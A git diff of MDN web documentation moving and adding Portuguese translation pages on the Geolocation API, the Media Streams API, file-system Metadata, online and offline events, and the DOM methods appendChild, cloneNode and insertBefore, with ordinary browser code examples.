The user's location is described using a Position object referencing a Coordinates object.

- -

{{page("/en-US/docs/DOM/navigator/geolocation/getCurrentPosition","Position")}}

- -

{{page("/en-US/docs/DOM/navigator/geolocation/getCurrentPosition","Coordinates")}}

- -

Lidar com erros

- -

The error callback function, if provided when calling getCurrentPosition() or watchPosition(), expects a PositionError object as its first parameter.

- -
function errorCallback(error) {
-  alert('ERROR(' + error.code + '): ' + error.message);
-};
-
- -

{{page("/en-US/docs/DOM/navigator/geolocation/getCurrentPosition","PositionError")}}

- -

Exemplo de Geolocalização Live

- - - -

Conteúdo HTML

- -
<p><button onclick="geoFindMe()">Show my location</button></p>
-<div id="out"></div>
-
- -

Conteúdo JavaScript

- -
function geoFindMe() {
-  var output = document.getElementById("out");
-
-  if (!navigator.geolocation){
-    output.innerHTML = "<p>Geolocation is not supported by your browser</p>";
-    return;
-  }
-
-  function success(position) {
-    var latitude  = position.coords.latitude;
-    var longitude = position.coords.longitude;
-
-    output.innerHTML = '<p>Latitude is ' + latitude + '° <br>Longitude is ' + longitude + '°</p>';
-
-    var img = new Image();
-    img.src = "https://maps.googleapis.com/maps/api/staticmap?center=" + latitude + "," + longitude + "&zoom=13&size=300x300&sensor=false";
-
-    output.appendChild(img);
-  }
-
-  function error() {
-    output.innerHTML = "Unable to retrieve your location";
-  }
-
-  output.innerHTML = "<p>Locating…</p>";
-
-  navigator.geolocation.getCurrentPosition(success, error);
-}
-
- -

Resultado Live

- -

{{EmbedLiveSample('Geolocation_Live_Example', 350, 410)}}

- -

Aviso para permissão

- -

Any add-on hosted on addons.mozilla.org which makes use of geolocation data must explicitly request permission before doing so. The following function will request permission in a manner similar to the automatic prompt displayed for web pages. The user's response will be saved in the preference specified by the pref parameter, if applicable. The function provided in the callback parameter will be called with a boolean value indicating the user's response. If true, the add-on may access geolocation data.

- -
function prompt(window, pref, message, callback) {
-    let branch = Components.classes["@mozilla.org/preferences-service;1"]
-                           .getService(Components.interfaces.nsIPrefBranch);
-
-    if (branch.getPrefType(pref) === branch.PREF_STRING) {
-        switch (branch.getCharPref(pref)) {
-        case "always":
-            return callback(true);
-        case "never":
-            return callback(false);
-        }
-    }
-
-    let done = false;
-
-    function remember(value, result) {
-        return function() {
-            done = true;
-            branch.setCharPref(pref, value);
-            callback(result);
-        }
-    }
-
-    let self = window.PopupNotifications.show(
-        window.gBrowser.selectedBrowser,
-        "geolocation",
-        message,
-        "geo-notification-icon",
-        {
-            label: "Share Location",
-            accessKey: "S",
-            callback: function(notification) {
-                done = true;
-                callback(true);
-            }
-        }, [
-            {
-                label: "Always Share",
-                accessKey: "A",
-                callback: remember("always", true)
-            },
-            {
-                label: "Never Share",
-                accessKey: "N",
-                callback: remember("never", false)
-            }
-        ], {
-            eventCallback: function(event) {
-                if (event === "dismissed") {
-                    if (!done) callback(false);
-                    done = true;
-                    window.PopupNotifications.remove(self);
-                }
-            },
-            persistWhileVisible: true
-        });
-}
-
-prompt(window,
-       "extensions.foo-addon.allowGeolocation",
-       "Foo Add-on wants to know your location.",
-       function callback(allowed) { alert(allowed); });
-
- -

Compatibilidade de navegador

- -

{{Compat("api.Geolocation")}}

- -

Disponibilidade

- -

Como a localização baseada em Wi-Fi é geralmente fornecida pelo Google, a API de Geolocalização "vanilla" pode estar indisponível na China. Pode utilizar os provedores locais de terceiros, tais como  Baidu, Autonavi, ou Tencent. Estes serviços utilziam o endereço de IP do utilizador e/ou uma aplicação local para fornecer o posicionamento melhorado.

- -

Consulte também

- - diff --git a/files/pt-pt/web/api/geolocation_api/index.html b/files/pt-pt/web/api/geolocation_api/index.html new file mode 100644 index 0000000000..40fb7ce571 --- /dev/null +++ b/files/pt-pt/web/api/geolocation_api/index.html @@ -0,0 +1,242 @@ +--- +title: API de Geolocalização +slug: Web/API/Geolocation/Utilizacao_da_geolocalizacao +tags: + - API de Geolocalização + - Guía + - Intermediário +translation_of: Web/API/Geolocation_API +--- +

{{securecontext_header}}{{APIRef("Geolocation API")}}

+ +

A API de geolocalização permite que o utilizador forneça a sua localização nas aplicações da Web, se assim o desejar. Por motivos de segurança, é solicitado ao utilizador para dar permissão para informar a informação da localização.

+ +

O objeto de geolocalização

+ +

A API de Geolocation é publicada através do objeto {{domxref("navigator.geolocation")}}.

+ +

Se o objeto existir, os serviços de geolocalização estarão disponíveis. Pode testar a presença de geolocalização assim:

+ +
if ("geolocation" in navigator) {
+  /* geolocation is available */
+} else {
+  /* geolocation IS NOT available */
+}
+
+ +
+

Nota: On Firefox 24 and older versions, "geolocation" in navigator always returned true even if the API was disabled. This has been fixed with Firefox 25 to comply with the spec. ({{bug(884921)}}).

+
+ +

Obter a posição atual

+ +

To obtain the user's current location, you can call the {{domxref("geolocation.getCurrentPosition()","getCurrentPosition()")}} method. This initiates an asynchronous request to detect the user's position, and queries the positioning hardware to get up-to-date information. When the position is determined, the defined callback function is executed. You can optionally provide a second callback function to be executed if an error occurs. A third, optional, parameter is an options object where you can set the maximum age of the position returned, the time to wait for a request, and if you want high accuracy for the position.

+ +
+

Nota: By default, {{domxref("Geolocation.getCurrentPosition()","getCurrentPosition()")}} tries to answer as fast as possible with a low accuracy result. It is useful if you need a quick answer regardless of the accuracy. Devices with a GPS, for example, can take a minute or more to get a GPS fix, so less accurate data (IP location or wifi) may be returned to {{domxref("Geolocation.getCurrentPosition()","getCurrentPosition()")}}.

+
+ +
navigator.geolocation.getCurrentPosition(function(position) {
+  do_something(position.coords.latitude, position.coords.longitude);
+});
+ +

The above example will cause the do_something() function to execute when the location is obtained.

+ +

Vigiar a posição atual

+ +

If the position data changes (either by device movement or if more accurate geo information arrives), you can set up a callback function that is called with that updated position information. This is done using the {{domxref("Geolocation.watchPosition()","watchPosition()")}} function, which has the same input parameters as {{domxref("Geolocation.getCurrentPosition()","getCurrentPosition()")}}. The callback function is called multiple times, allowing the browser to either update your location as you move, or provide a more accurate location as different techniques are used to geolocate you. The error callback function, which is optional just as it is for {{domxref("Geolocation.getCurrentPosition()","getCurrentPosition()")}}, can be called repeatedly.

+ +
+

Nota: pode utilizar {{domxref("Geolocation.watchPosition()","watchPosition()")}} sem uma chamada inicial {{domxref("Geolocation.getCurrentPosition()","getCurrentPosition()")}}.

+
+ +
var watchID = navigator.geolocation.watchPosition(function(position) {
+  do_something(position.coords.latitude, position.coords.longitude);
+});
+ +

The {{domxref("Geolocation.watchPosition()","watchPosition()")}} method returns an ID number that can be used to uniquely identify the requested position watcher; you use this value in tandem with the {{domxref("Geolocation.clearWatch()","clearWatch()")}} method to stop watching the user's location.

+ +
navigator.geolocation.clearWatch(watchID);
+
+ +

Resposta de ajuste preciso

+ +

Both {{domxref("Geolocation.getCurrentPosition()","getCurrentPosition()")}} and {{domxref("Geolocation.watchPosition()","watchPosition()")}} accept a success callback, an optional error callback, and an optional PositionOptions object.

+ +

{{page("/en-US/docs/DOM/navigator.geolocation.getCurrentPosition","PositionOptions")}}

+ +

A call to {{domxref("Geolocation.watchPosition()","watchPosition")}} could look like:

+ +
function geo_success(position) {
+  do_something(position.coords.latitude, position.coords.longitude);
+}
+
+function geo_error() {
+  alert("Sorry, no position available.");
+}
+
+var geo_options = {
+  enableHighAccuracy: true,
+  maximumAge        : 30000,
+  timeout           : 27000
+};
+
+var wpid = navigator.geolocation.watchPosition(geo_success, geo_error, geo_options);
+ +

Descrever uma posição

+ +

The user's location is described using a Position object referencing a Coordinates object.

+ +

{{page("/en-US/docs/DOM/navigator/geolocation/getCurrentPosition","Position")}}

+ +

{{page("/en-US/docs/DOM/navigator/geolocation/getCurrentPosition","Coordinates")}}

+ +

Lidar com erros

+ +

The error callback function, if provided when calling getCurrentPosition() or watchPosition(), expects a PositionError object as its first parameter.

+ +
function errorCallback(error) {
+  alert('ERROR(' + error.code + '): ' + error.message);
+};
+
+ +

{{page("/en-US/docs/DOM/navigator/geolocation/getCurrentPosition","PositionError")}}

+ +

Exemplo de Geolocalização Live

+ + + +

Conteúdo HTML

+ +
<p><button onclick="geoFindMe()">Show my location</button></p>
+<div id="out"></div>
+
+ +

Conteúdo JavaScript

+ +
function geoFindMe() {
+  var output = document.getElementById("out");
+
+  if (!navigator.geolocation){
+    output.innerHTML = "<p>Geolocation is not supported by your browser</p>";
+    return;
+  }
+
+  function success(position) {
+    var latitude  = position.coords.latitude;
+    var longitude = position.coords.longitude;
+
+    output.innerHTML = '<p>Latitude is ' + latitude + '° <br>Longitude is ' + longitude + '°</p>';
+
+    var img = new Image();
+    img.src = "https://maps.googleapis.com/maps/api/staticmap?center=" + latitude + "," + longitude + "&zoom=13&size=300x300&sensor=false";
+
+    output.appendChild(img);
+  }
+
+  function error() {
+    output.innerHTML = "Unable to retrieve your location";
+  }
+
+  output.innerHTML = "<p>Locating…</p>";
+
+  navigator.geolocation.getCurrentPosition(success, error);
+}
+
+ +

Resultado Live

+ +

{{EmbedLiveSample('Geolocation_Live_Example', 350, 410)}}

+ +

Aviso para permissão

+ +

Any add-on hosted on addons.mozilla.org which makes use of geolocation data must explicitly request permission before doing so. The following function will request permission in a manner similar to the automatic prompt displayed for web pages. The user's response will be saved in the preference specified by the pref parameter, if applicable. The function provided in the callback parameter will be called with a boolean value indicating the user's response. If true, the add-on may access geolocation data.

+ +
function prompt(window, pref, message, callback) {
+    let branch = Components.classes["@mozilla.org/preferences-service;1"]
+                           .getService(Components.interfaces.nsIPrefBranch);
+
+    if (branch.getPrefType(pref) === branch.PREF_STRING) {
+        switch (branch.getCharPref(pref)) {
+        case "always":
+            return callback(true);
+        case "never":
+            return callback(false);
+        }
+    }
+
+    let done = false;
+
+    function remember(value, result) {
+        return function() {
+            done = true;
+            branch.setCharPref(pref, value);
+            callback(result);
+        }
+    }
+
+    let self = window.PopupNotifications.show(
+        window.gBrowser.selectedBrowser,
+        "geolocation",
+        message,
+        "geo-notification-icon",
+        {
+            label: "Share Location",
+            accessKey: "S",
+            callback: function(notification) {
+                done = true;
+                callback(true);
+            }
+        }, [
+            {
+                label: "Always Share",
+                accessKey: "A",
+                callback: remember("always", true)
+            },
+            {
+                label: "Never Share",
+                accessKey: "N",
+                callback: remember("never", false)
+            }
+        ], {
+            eventCallback: function(event) {
+                if (event === "dismissed") {
+                    if (!done) callback(false);
+                    done = true;
+                    window.PopupNotifications.remove(self);
+                }
+            },
+            persistWhileVisible: true
+        });
+}
+
+prompt(window,
+       "extensions.foo-addon.allowGeolocation",
+       "Foo Add-on wants to know your location.",
+       function callback(allowed) { alert(allowed); });
+
+ +

Compatibilidade de navegador

+ +

{{Compat("api.Geolocation")}}

+ +

Disponibilidade

+ +

Como a localização baseada em Wi-Fi é geralmente fornecida pelo Google, a API de Geolocalização "vanilla" pode estar indisponível na China. Pode utilizar os provedores locais de terceiros, tais como  Baidu, Autonavi, ou Tencent. Estes serviços utilziam o endereço de IP do utilizador e/ou uma aplicação local para fornecer o posicionamento melhorado.

+ +

Consulte também

+ + diff --git a/files/pt-pt/web/api/media_streams_api/index.html b/files/pt-pt/web/api/media_streams_api/index.html new file mode 100644 index 0000000000..399945ab71 --- /dev/null +++ b/files/pt-pt/web/api/media_streams_api/index.html @@ -0,0 +1,211 @@ +--- +title: API de Captura de Transmissões de Multimédia (Media Streams) +slug: Web/API/API_transmissoes_multimedia +tags: + - API + - API de Transmissão de Multimédia + - Audio + - Avançado + - Guía + - Introdução + - Media + - Multimedia + - Video +translation_of: Web/API/Media_Streams_API +--- +
{{DefaultAPISidebar("Media Capture and Streams")}}
+ +

A API de Media Capture and Streams, muitas vezes chamada de Media Stream API ou Stream API, é uma API relacionada com WebRTC que suporta transmissões de dados de áudio ou vídeo, os métodos para trabalhar com eles, as restrições associadas com o tipo de dados, as devoluções de retorno de sucesso e erro quando utilizar os dados de forma assíncrona, e os eventos que foram ativados durante o processo.

+ +

Conceitos básicos

+ +

The API is based on the manipulation of a {{domxref("MediaStream")}} object representing a flux of audio- or video-related data. See an example in Get the video.

+ +

A MediaStream consists of zero or more {{domxref("MediaStreamTrack")}} objects, representing various audio or video tracks. Each MediaStreamTrack may have one or more channels. The channel represents the smallest unit of a media stream, such as an audio signal associated with a given speaker, like left or right in a stereo audio track.

+ +

MediaStream objects have a single input and a single output. A MediaStream object generated by {{domxref("MediaDevices.getUserMedia", "getUserMedia()")}} is called local, and has as its source input one of the user's cameras or microphones. A non-local MediaStream may be representing to a media element, like {{HTMLElement("video")}} or {{HTMLElement("audio")}}, a stream originating over the network, and obtained via the WebRTC {{domxref("RTCPeerConnection")}} API, or a stream created using the Web Audio API {{domxref("MediaStreamAudioSourceNode")}}.   The output of the MediaStream object is linked to a consumer. It can be a media elements, like {{HTMLElement("audio")}} or {{HTMLElement("video")}},  the WebRTC {{domxref("RTCPeerConnection")}} API or a Web Audio API {{domxref("MediaStreamAudioDestinationNode")}}.

+ +

Referência

+ +
+ +
+ +

Guias e tutoriais

+ +

{{LandingPageListSubpages}}

+ +

Compatibilidade de navegador

+ +

{{ CompatibilityTable }} 

+ +
+ + + + + + + + + + + + + + + + + + + + + +
FuncionalidadeChromeFirefox (Gecko)EdgeInternet ExplorerOpera Safari (WebKit)
Stream API 21{{ property_prefix("webkit") }} Nightly 18{{ property_prefix("moz") }} {{ CompatVersionUnknown }}{{ CompatUnknown }} 12{{ CompatUnknown }} 
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FuncionalidadeAndroidEdgeFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
API de emissão{{ CompatNo }} {{CompatVersionUnknown}}{{ CompatUnknown }}{{ CompatUnknown }} {{ CompatNo }} {{ CompatNo }} 
+
+ +

 

+ +

Currently using WebRTC for accessing the camera is supported in Chrome, Opera and Firefox Nightly 18. Enabling WebRTC in Firefox Nightly requires you to set a flag in the configuration:

+ + + +

Consulte também

+ + + +
+ + + + + +
diff --git a/files/pt-pt/web/api/metadados/index.html b/files/pt-pt/web/api/metadados/index.html deleted file mode 100644 index dd1c16c91d..0000000000 --- a/files/pt-pt/web/api/metadados/index.html +++ /dev/null @@ -1,116 +0,0 @@ ---- -title: Metadados -slug: Web/API/Metadados -tags: - - API - - API Entradas de Diretoria e Ficheiro - - API do Sistema de Ficheiros - - Ficheiros - - Interface - - Não Padrão - - Pff-line - - Referencia - - metadados -translation_of: Web/API/Metadata ---- -

{{ APIRef("File System API") }}{{SeeCompatTable}}{{Non-standard_header}}

- -

A interface de Metadados é utilizada por API Entradas de Diretoria e Ficheiro para conter a informação sobre a entrada do sistema de ficheiros. Estes metadados incluem o tamanho do ficheiro e a data e hora da modificação.

- -
-

Esta interface não está disponível através do escopo global; em vez disso, pode obter um objeto Metadata descrevendo uma {{domxref("FileSystemEntry")}} utilizando o método {{domxref("FileSystemEntry.getMetadata()")}}.

-
- -

Propriedades

- -
-
{{domxref("Metadata.modificationTime", "modificationTime")}} {{ReadOnlyInline}}
-
A {{jsxref("Date")}} object indicating the date and time the entry was modified.
-
- -
-
{{domxref("Metadata.size", "size")}} {{ReadOnlyInline}}
-
A 64-bit unsigned integer indicating the size of the entry in bytes.
-
- -

Especificações

- - - - - - - - - - - - - - - - -
EspecificaçãoEstadoComentário
{{SpecName('File System API')}}{{Spec2('File System API')}}Draft of proposed API
- -

Esta API não é uma especificação oficial de W3C ou WHATWG.

- -

Compatibilidade de navegador

- -
{{CompatibilityTable}}
- -
- - - - - - - - - - - - - - - - - - - -
FuncionalidadeChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Suporte básico13 {{property_prefix("webkit")}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
-
- -
- - - - - - - - - - - - - - - - - - - - - -
FuncionalidadeAndroidChrome para AndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Suporte básico{{CompatNo}}0.16 {{property_prefix("webkit")}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
-
- -

Consulte também

- - diff --git a/files/pt-pt/web/api/metadata/index.html b/files/pt-pt/web/api/metadata/index.html new file mode 100644 index 0000000000..dd1c16c91d --- /dev/null +++ b/files/pt-pt/web/api/metadata/index.html @@ -0,0 +1,116 @@ +--- +title: Metadados +slug: Web/API/Metadados +tags: + - API + - API Entradas de Diretoria e Ficheiro + - API do Sistema de Ficheiros + - Ficheiros + - Interface + - Não Padrão + - Pff-line + - Referencia + - metadados +translation_of: Web/API/Metadata +--- +

{{ APIRef("File System API") }}{{SeeCompatTable}}{{Non-standard_header}}

+ +

A interface de Metadados é utilizada por API Entradas de Diretoria e Ficheiro para conter a informação sobre a entrada do sistema de ficheiros. Estes metadados incluem o tamanho do ficheiro e a data e hora da modificação.

+ +
+

Esta interface não está disponível através do escopo global; em vez disso, pode obter um objeto Metadata descrevendo uma {{domxref("FileSystemEntry")}} utilizando o método {{domxref("FileSystemEntry.getMetadata()")}}.

+
+ +

Propriedades

+ +
+
{{domxref("Metadata.modificationTime", "modificationTime")}} {{ReadOnlyInline}}
+
A {{jsxref("Date")}} object indicating the date and time the entry was modified.
+
+ +
+
{{domxref("Metadata.size", "size")}} {{ReadOnlyInline}}
+
A 64-bit unsigned integer indicating the size of the entry in bytes.
+
+ +

Especificações

+ + + + + + + + + + + + + + + + +
EspecificaçãoEstadoComentário
{{SpecName('File System API')}}{{Spec2('File System API')}}Draft of proposed API
+ +

Esta API não é uma especificação oficial de W3C ou WHATWG.

+ +

Compatibilidade de navegador

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FuncionalidadeChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Suporte básico13 {{property_prefix("webkit")}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FuncionalidadeAndroidChrome para AndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Suporte básico{{CompatNo}}0.16 {{property_prefix("webkit")}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ +

Consulte também

+ + diff --git a/files/pt-pt/web/api/navigatoronline/eventos_online_e_offline/index.html b/files/pt-pt/web/api/navigatoronline/eventos_online_e_offline/index.html deleted file mode 100644 index 43aed9ed94..0000000000 --- a/files/pt-pt/web/api/navigatoronline/eventos_online_e_offline/index.html +++ /dev/null @@ -1,97 +0,0 @@ ---- -title: Eventos online e offline -slug: Web/API/NavigatorOnLine/Eventos_online_e_offline -tags: - - AJAX - - DOM - - Desenvolvimento_Web - - Todas_as_Categorias -translation_of: Web/API/NavigatorOnLine/Online_and_offline_events ---- -

O Firefox 3 implementou eventos Online/Offline da especificação WHATWG Web Applications 1.0.

- -

Visão geral

- -

Para construir uma boa aplicação web capaz de ser usada offline, você precisar saber quando sua aplicação está realmente offline. Casualmente, você pode também precisar saber quando a sua aplicação retornou ao estado 'online' novamente. Efetivamente, as exigências colapsam como tal:

- -
    -
  1. Você precisa saber quando o usuário torna-se online, então você pode re-sincronizar com o servidor.
  2. -
  3. Você precisa saber quando o usuário está offline, então você pode estar seguro para fazer suas requisições do servidor e elas se enfileirarem para um tempo posterior.
  4. -
- -

Este é o processo em que eventos online/offline ajudam a banalizar.

- -

API

- - - -

navigator.onLine é uma propriedade que mantém um valor true/false (true para online, false para offline). Esta propriedade é atualizada sempre que o usuário trocar do "Modo Offline" selecionando o item correspondente do menu (Arquivo -> Trabalhar Offline no Firefox).

- -

Adicionalmente, esta propriedade deve atualizar sempre que o navegador não for mais capaz de conectar a uma rede. De acordo com a especificação:

- -
O atributo navigator.onLine deve retornar falso se o agente de usuário não obtiver contato com a rede quando o usuário segue links ou quandoscripts de uma página remota forem requisitados.
- -

Firefox 2 atualiza esta propriedade quando trocando de/para o modo Offline do navegador, e quando perde/encontra conectividade com uma rede no Windows e Linux.

- -

Esta propriedade existe em antigas versões do Firefox e Internet Explorer (a especificação baseou-se fora destas implementações prévias), então você pode começar usando isto imediatamente. A detecção automática do estado da rede foi implementado no Firefox 2.

- -

Eventos "online" e "offline"

- -

O Firefox 3 introduz dois novos eventos: "online" e "offline". Estes dois eventos são colocados no <body> de cada página quando o navegador troca entre o modo online e offline. Adicionalmente, os eventos vão de document.body, para document, terminando em window. Ambos os eventos não são canceláveis (você não pode evitar o usuário de estar online, ou indo para offline).

- -

Você pode registrar ouvintes para estes eventos de algumas maneiras familiares:

- - - -

Exemplo

- -

um caso de teste simples que você pode rodar para verificar se os eventos estão trabalhando. XXX Quando os "mochitestes" para isto forem criados, apontar para este e atualizar este exemplo -nickolay

- -
 <!doctype html>
- <html>
- <head>
-   <script>
-     function updateOnlineStatus(msg) {
-       var status = document.getElementById("status");
-       var condition = navigator.onLine ? "ONLINE" : "OFFLINE";
-       status.setAttribute("class", condition);
-       var state = document.getElementById("state");
-       state.innerHTML = condition;
-       var log = document.getElementById("log");
-       log.appendChild(document.createTextNode("Event: " + msg + "; status=" + condition + "\n"));
-     }
-     function loaded() {
-       updateOnlineStatus("load");
-       document.body.addEventListener("offline", function () {
-         updateOnlineStatus("offline")
-       }, false);
-       document.body.addEventListener("online", function () {
-         updateOnlineStatus("online")
-       }, false);
-     }
-   </script>
-   <style>...</style>
- </head>
- <body onload="loaded()">
-   <div id="status"><p id="state"></p></div>
-   <div id="log"></div>
- </body>
- </html>
-
- -

Referências

- - - -

Categorias

- -

Interwiki Language Links

diff --git a/files/pt-pt/web/api/navigatoronline/online_and_offline_events/index.html b/files/pt-pt/web/api/navigatoronline/online_and_offline_events/index.html new file mode 100644 index 0000000000..43aed9ed94 --- /dev/null +++ b/files/pt-pt/web/api/navigatoronline/online_and_offline_events/index.html @@ -0,0 +1,97 @@ +--- +title: Eventos online e offline +slug: Web/API/NavigatorOnLine/Eventos_online_e_offline +tags: + - AJAX + - DOM + - Desenvolvimento_Web + - Todas_as_Categorias +translation_of: Web/API/NavigatorOnLine/Online_and_offline_events +--- +

O Firefox 3 implementou eventos Online/Offline da especificação WHATWG Web Applications 1.0.

+ +

Visão geral

+ +

Para construir uma boa aplicação web capaz de ser usada offline, você precisar saber quando sua aplicação está realmente offline. Casualmente, você pode também precisar saber quando a sua aplicação retornou ao estado 'online' novamente. Efetivamente, as exigências colapsam como tal:

+ +
    +
  1. Você precisa saber quando o usuário torna-se online, então você pode re-sincronizar com o servidor.
  2. +
  3. Você precisa saber quando o usuário está offline, então você pode estar seguro para fazer suas requisições do servidor e elas se enfileirarem para um tempo posterior.
  4. +
+ +

Este é o processo em que eventos online/offline ajudam a banalizar.

+ +

API

+ + + +

navigator.onLine é uma propriedade que mantém um valor true/false (true para online, false para offline). Esta propriedade é atualizada sempre que o usuário trocar do "Modo Offline" selecionando o item correspondente do menu (Arquivo -> Trabalhar Offline no Firefox).

+ +

Adicionalmente, esta propriedade deve atualizar sempre que o navegador não for mais capaz de conectar a uma rede. De acordo com a especificação:

+ +
O atributo navigator.onLine deve retornar falso se o agente de usuário não obtiver contato com a rede quando o usuário segue links ou quandoscripts de uma página remota forem requisitados.
+ +

Firefox 2 atualiza esta propriedade quando trocando de/para o modo Offline do navegador, e quando perde/encontra conectividade com uma rede no Windows e Linux.

+ +

Esta propriedade existe em antigas versões do Firefox e Internet Explorer (a especificação baseou-se fora destas implementações prévias), então você pode começar usando isto imediatamente. A detecção automática do estado da rede foi implementado no Firefox 2.

+ +

Eventos "online" e "offline"

+ +

O Firefox 3 introduz dois novos eventos: "online" e "offline". Estes dois eventos são colocados no <body> de cada página quando o navegador troca entre o modo online e offline. Adicionalmente, os eventos vão de document.body, para document, terminando em window. Ambos os eventos não são canceláveis (você não pode evitar o usuário de estar online, ou indo para offline).

+ +

Você pode registrar ouvintes para estes eventos de algumas maneiras familiares:

+ + + +

Exemplo

+ +

um caso de teste simples que você pode rodar para verificar se os eventos estão trabalhando. XXX Quando os "mochitestes" para isto forem criados, apontar para este e atualizar este exemplo -nickolay

+ +
 <!doctype html>
+ <html>
+ <head>
+   <script>
+     function updateOnlineStatus(msg) {
+       var status = document.getElementById("status");
+       var condition = navigator.onLine ? "ONLINE" : "OFFLINE";
+       status.setAttribute("class", condition);
+       var state = document.getElementById("state");
+       state.innerHTML = condition;
+       var log = document.getElementById("log");
+       log.appendChild(document.createTextNode("Event: " + msg + "; status=" + condition + "\n"));
+     }
+     function loaded() {
+       updateOnlineStatus("load");
+       document.body.addEventListener("offline", function () {
+         updateOnlineStatus("offline")
+       }, false);
+       document.body.addEventListener("online", function () {
+         updateOnlineStatus("online")
+       }, false);
+     }
+   </script>
+   <style>...</style>
+ </head>
+ <body onload="loaded()">
+   <div id="status"><p id="state"></p></div>
+   <div id="log"></div>
+ </body>
+ </html>
+
+ +

Referências

+ + + +

Categorias

+ +

Interwiki Language Links

diff --git a/files/pt-pt/web/api/node/appendchild/index.html b/files/pt-pt/web/api/node/appendchild/index.html new file mode 100644 index 0000000000..7495320be4 --- /dev/null +++ b/files/pt-pt/web/api/node/appendchild/index.html @@ -0,0 +1,31 @@ +--- +title: element.appendChild +slug: DOM/element.appendChild +tags: + - Referência_do_DOM_Gecko +translation_of: Web/API/Node/appendChild +--- +

{{ ApiRef() }}

+

Sumario

+

Adiciona um novo nó (filho) a um determinado elemento (objeto)

+

Sintaxe

+
element.appendChild(child)
+
+ +

Exemplo

+
// Cria um novo Elemento(Objeto)
+var p = document.createElement("p");
+
+// Adiciona ao Elemento Body (este deverá existir!)
+document.body.appendChild(p);
+
+

Notas

+

Se child é a referência para um nó ja existente no documento, appendChild moverá este para a nova posição (ou seja não é necessário remover um nó de uma posição para depois adicionar em outra). Isto significa que um nó não pode estar em dois lugares do documento ao mesmo tempo.

+

Você pode usar também cloneNode para copiar este nó e depois adicioná-lo a outro elemento. (Observe que ao criar um objeto ultilizando cloneNode ou createElement este não fará parte do documento até você torna-lo parte deste usando appendChild ou método similar)

+

Métodos relacionados : insertBefore, replaceChild and removeChild. <code>appendChild</code> é um dos métodos essenciais na programação usando DOM. O método <code>appendChild</code> insere um novo nó na estrutura DOM e este é a segunda parte da metodologia create-and-append.

+

Especificação

+

DOM Level 2 Core: appendChild

+

{{ languages( { "en": "en/DOM/element.appendChild", "fr": "fr/DOM/element.appendChild", "pl": "pl/DOM/element.appendChild" } ) }}

diff --git a/files/pt-pt/web/api/node/clonenode/index.html b/files/pt-pt/web/api/node/clonenode/index.html new file mode 100644 index 0000000000..71f0c5064a --- /dev/null +++ b/files/pt-pt/web/api/node/clonenode/index.html @@ -0,0 +1,55 @@ +--- +title: element.cloneNode +slug: DOM/element.cloneNode +translation_of: Web/API/Node/cloneNode +--- +

Resumo

+ +

Retorna a cópia de um elemento.

+ +

Syntax

+ +
dupNode = element.cloneNode(deep);
+
+ + + +

Example

+ +
p = document.getElementById("diogok");
+p_prime = p.cloneNode(true);
+
+ +

Notas

+ +

Clonando um nó copiamos todos seus atributos e seus respectivos valores

+ +

O nó clonado retornado por cloneNode não faz parte do documento enquanto não for adicionado a um outro nó que faça parte do documento usando appendChild ou outro método similar. Enquanto não for adicionado a um outro nó, será um nó sem pai. Ou seja, o clone não herda o pai do original.

+ +

Se deep for false, nada sobre os nós filhos será clonado. Qualquer texto contido no nó não será clonado junto, já que o texto fica contido em nós de texto.

+ +

Se deep for true, toda a subárvore (incluíndo texto) é copiado também. Para nós vazios (como os elementos IMG e INPUT) não importa qua valor que você coloque em deep, mas você ainda deve definir um valor

+ +

Note que o cloneNode pode causar o problema de termos dois elementos com um mesmo id em um documento!

+ +

Somente os eventos colocados em atributos inline são copiados. Os eventos adicionados após a renderização do nó via javascript não são copiados.

+ +
var elms = document.getElementById('foo');
+elms.onclick = function(){
+	alert('Eu não deveria ser copiado?');
+}
+var g = elms.cloneNode(true);
+g.id = 'foo2';
+g.style.top = '0px';
+document.body.appendChild(g);
+
+ +

No trecho de código acima o atributo onclick não é copiado. Nem mesmo com addEventListener.

+ +

Especificação

+ +

DOM Level 2 Core: cloneNode

diff --git a/files/pt-pt/web/api/node/insertbefore/index.html b/files/pt-pt/web/api/node/insertbefore/index.html new file mode 100644 index 0000000000..d0393410a6 --- /dev/null +++ b/files/pt-pt/web/api/node/insertbefore/index.html @@ -0,0 +1,60 @@ +--- +title: element.insertBefore +slug: DOM/element.insertBefore +tags: + - Referência_do_DOM_Gecko +translation_of: Web/API/Node/insertBefore +--- +

{{ ApiRef() }}

+

Sumário

+

Insere um nó filho ao nó atual, antes de um determinado elemento.

+

Síntaxe

+
varinsertedElement =parentElement.insertBefore(newElement,referenceElement)
+
+

If referenceElement is null, newElement is inserted at the end of the list of child nodes.

+ +

Se referenceElement é null o elemento é inserido em último lugar na lista de nós filhos. Ver childNodes

+

Exemplo

+
 <html>
+
+ <head>
+ <title>Gecko DOM insertBefore test</title>
+ </head>
+ <body>
+ <div>
+   <span id="childSpan">foo bar</span>
+ </div>
+
+ <script type="text/javascript">
+ // cria um elemento vazio
+ // sem ID ou qualquer outro atributo
+ var sp1 = document.createElement("span");
+
+ // atribui o ID 'newSpan' para o elemento criado
+ sp1.setAttribute("id", "newSpan");
+
+ //cria um conteudo para o novo elemento,um texto curto
+ var sp1_content = document.createTextNode("This is a new span element. ");
+ // adiciona o conteúdo a novo elemento
+ sp1.appendChild(sp1_content);
+
+ var sp2 = document.getElementById("childSpan");
+ var parentDiv = sp2.parentNode;
+
+ // insere o novo elemento antes sp2
+ parentDiv.insertBefore(sp1, sp2);
+ </script>
+
+ </body>
+ </html>
+
+

Não há um método insertAfter(insere depois), porém pode se obter um resultado semelhante usando a combinação entre insertBefore e nextSibling. Por exemplo, sp1 pode inserido depois de sp2 usando comando parentDiv.insertBefore(sp1, sp2.nextSibling); Se a propridade nextSibling retornar null indica que o elemento é o último nó filho, logo novo elemento será incluído no final da lista de nós filhos

+

 

+

Espeficação

+

insertBefore

+

